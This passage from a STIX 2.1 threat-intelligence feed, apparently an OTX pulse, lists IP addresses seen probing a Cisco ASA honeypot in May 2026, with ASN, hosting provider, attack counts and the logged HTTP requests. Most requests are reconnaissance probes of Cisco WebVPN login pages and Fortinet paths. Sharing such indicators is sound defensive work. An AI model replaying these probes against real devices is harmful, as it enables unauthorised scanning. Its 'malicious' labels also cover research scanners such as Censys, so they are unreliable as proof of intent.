          ]
        }
      }
    },
    {
      "created": "2026-05-17T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6e82238a-80e8-418c-bb70-e604139c76e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:20:11.000Z",
      "valid_until": "2026-06-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-17T04:16:43.831Z",
          "last_seen": "2026-05-29T01:35:31.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--566ca9a1-a596-43b0-9de2-f96e15e75b20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:20:11.000Z",
      "valid_until": "2026-06-18T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-17T03:26:09.734Z",
          "last_seen": "2026-05-29T01:47:41.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T05:21:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--575742d4-9d98-4711-a246-b04343cd40d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:21:03.000Z",
      "valid_until": "2026-06-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-17T05:08:03.831Z",
          "last_seen": "2026-05-19T05:29:35.449Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T05:21:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bed4218d-e5f6-41fb-8513-450bc3b7c79b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:21:03.000Z",
      "valid_until": "2026-06-18T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-17T04:50:06.800Z",
          "last_seen": "2026-05-17T04:50:14.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b36c14ce-dcba-4357-ad4e-69fbb20a3bad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:20:10.000Z",
      "valid_until": "2026-06-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-17T06:12:21.490Z",
          "last_seen": "2026-05-27T18:53:48.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--fb094704-8803-42a5-b2c4-bf47a215063a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:20:10.000Z",
      "valid_until": "2026-06-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-17T05:32:35.046Z",
          "last_seen": "2026-05-17T05:32:38.047Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--0ee436c4-cccf-48e5-b5f7-7a6d4e4f76ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:20:10.000Z",
      "valid_until": "2026-06-18T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-17T05:56:09.576Z",
          "last_seen": "2026-05-17T05:56:54.583Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-17T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5133128f-8b9c-400f-858d-3f1f4ab4ea21",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:20:10.000Z",
      "valid_until": "2026-06-18T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-17T07:08:12.944Z",
          "last_seen": "2026-05-30T07:09:28.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d7b16cee-8377-4fe0-b736-68952844d7b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.218.68.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:20:10.000Z",
      "valid_until": "2026-06-19T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-18T00:57:32.194Z",
          "last_seen": "2026-05-19T00:54:10.934Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b9491653-a5e5-497e-b06b-5f04f27f31cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.221.117.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:20:10.000Z",
      "valid_until": "2026-06-19T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-18T00:50:31.753Z",
          "last_seen": "2026-05-18T00:50:31.753Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:20:10.000Z",
      "valid_until": "2026-06-19T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-18T07:00:29.117Z",
          "last_seen": "2026-05-24T03:57:37.442Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-18T07:43:57.038Z",
          "last_seen": "2026-05-18T07:51:41.541Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--242eee01-3f01-47b2-b0d1-607e5e4836c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-18T07:48:45.923Z",
          "last_seen": "2026-05-18T07:48:45.923Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e6bece1f-f0e6-473a-911b-0e8050915073",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-18T07:48:29.729Z",
          "last_seen": "2026-05-18T07:48:29.729Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--48b1cb62-3650-42ad-83d4-c7ec1275611c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-18T07:46:50.789Z",
          "last_seen": "2026-05-18T07:46:50.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--85b9a0a9-eeab-47c1-894d-036e04372284",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-18T07:46:04.553Z",
          "last_seen": "2026-05-18T07:48:48.586Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3aed9744-ba3f-407b-b3b5-a4dfdc7aa453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:20:10.000Z",
      "valid_until": "2026-06-19T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-18T07:49:04.340Z",
          "last_seen": "2026-05-18T07:49:19.278Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ebf62b7f-d232-4cdc-b4a6-9d0281a576ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-18T08:31:43.195Z",
          "last_seen": "2026-05-23T04:40:33.921Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3612d753-f30e-48e0-9c3f-a68aa9d6f5f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-18T08:30:13.538Z",
          "last_seen": "2026-05-29T15:24:07.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--69de0243-40d6-4257-8784-bd487e6a36d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-18T08:30:59.316Z",
          "last_seen": "2026-05-27T19:52:31.725Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--8041472c-c72f-4670-9dac-a643f62633c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.184.37.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:20:11.000Z",
      "valid_until": "2026-06-19T09:20:09.000Z",
      "indicator_types": [
